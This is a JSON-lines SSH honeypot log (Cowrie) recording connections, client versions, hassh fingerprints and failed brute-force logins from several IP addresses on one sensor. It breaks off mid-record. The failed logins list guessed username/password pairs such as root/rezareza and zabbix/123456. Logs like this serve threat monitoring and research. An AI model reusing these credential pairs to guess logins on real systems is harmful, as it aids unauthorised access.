{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:57.007282Z","src_ip":"2.57.122.238","session":"5fd3eb81d5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:57.310135Z","src_ip":"2.57.122.238","session":"5fd3eb81d5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:58.413773Z","src_ip":"2.57.122.238","session":"5fd3eb81d5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":58396,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c462902ccc6","protocol":"ssh","message":"New connection: 148.216.28.11:58396 (159.203.135.109:22) [session: 4c462902ccc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:12.944616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:12.948209Z","src_ip":"148.216.28.11","session":"4c462902ccc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:13.016178Z","src_ip":"148.216.28.11","session":"4c462902ccc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"P@ssw0rd","message":"login attempt [testuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:13.315105Z","src_ip":"148.216.28.11","session":"4c462902ccc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:14.387154Z","src_ip":"148.216.28.11","session":"4c462902ccc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:15.024846Z","src_ip":"122.168.114.167","session":"587c4bc902b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":47042,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e71d948acd7","protocol":"ssh","message":"New connection: 2.203.183.35:47042 (159.203.135.109:22) [session: 7e71d948acd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:16.801517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:16.805885Z","src_ip":"2.203.183.35","session":"7e71d948acd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:16.910766Z","src_ip":"2.203.183.35","session":"7e71d948acd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qwertyuiop","message":"login attempt [guest/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:17.412222Z","src_ip":"2.203.183.35","session":"7e71d948acd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:18.560487Z","src_ip":"2.203.183.35","session":"7e71d948acd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.9","message":"Connection lost after 37.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:21.505558Z","src_ip":"122.168.114.167","session":"587c4bc902b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47174,"dst_ip":"159.203.135.109","dst_port":22,"session":"60cb0bb61fd6","protocol":"ssh","message":"New connection: 122.168.114.167:47174 (159.203.135.109:22) [session: 60cb0bb61fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:22.492511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:28.490123Z","src_ip":"122.168.114.167","session":"60cb0bb61fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:28.494035Z","src_ip":"122.168.114.167","session":"60cb0bb61fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56810,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf7d225a6193","protocol":"ssh","message":"New connection: 159.203.92.129:56810 (159.203.135.109:22) [session: bf7d225a6193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:38.027953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:38.032983Z","src_ip":"159.203.92.129","session":"bf7d225a6193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:38.038346Z","src_ip":"159.203.92.129","session":"bf7d225a6193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"11","message":"login attempt [app/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:38.050061Z","src_ip":"159.203.92.129","session":"bf7d225a6193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:39.056988Z","src_ip":"159.203.92.129","session":"bf7d225a6193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"0820a903bfa3","protocol":"ssh","message":"New connection: 69.6.221.248:38236 (159.203.135.109:22) [session: 0820a903bfa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:44.895082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:44.900147Z","src_ip":"69.6.221.248","session":"0820a903bfa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:45.014325Z","src_ip":"69.6.221.248","session":"0820a903bfa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest2","password":"123456","message":"login attempt [guest2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:45.517269Z","src_ip":"69.6.221.248","session":"0820a903bfa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:46.633647Z","src_ip":"69.6.221.248","session":"0820a903bfa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:54.670542Z","src_ip":"122.168.114.167","session":"60cb0bb61fd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":45946,"dst_ip":"159.203.135.109","dst_port":22,"session":"6765f9fb1cd2","protocol":"ssh","message":"New connection: 148.216.28.11:45946 (159.203.135.109:22) [session: 6765f9fb1cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:59.041642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:59.046700Z","src_ip":"148.216.28.11","session":"6765f9fb1cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:59.114256Z","src_ip":"148.216.28.11","session":"6765f9fb1cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rezareza","message":"login attempt [root/rezareza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:44:59.412839Z","src_ip":"148.216.28.11","session":"6765f9fb1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49576,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e65b004fda1","protocol":"ssh","message":"New connection: 122.168.114.167:49576 (159.203.135.109:22) [session: 3e65b004fda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:00.020274Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:00.482633Z","src_ip":"148.216.28.11","session":"6765f9fb1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.9","message":"Connection lost after 39.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:02.398094Z","src_ip":"122.168.114.167","session":"60cb0bb61fd6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:06.315973Z","src_ip":"122.168.114.167","session":"3e65b004fda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:06.320458Z","src_ip":"122.168.114.167","session":"3e65b004fda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":62869,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a05af07634","protocol":"ssh","message":"New connection: 2.203.183.35:62869 (159.203.135.109:22) [session: a2a05af07634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:13.919438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:45:13.924921Z","src_ip":"2.203.183.35","session":"a2a05af07634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh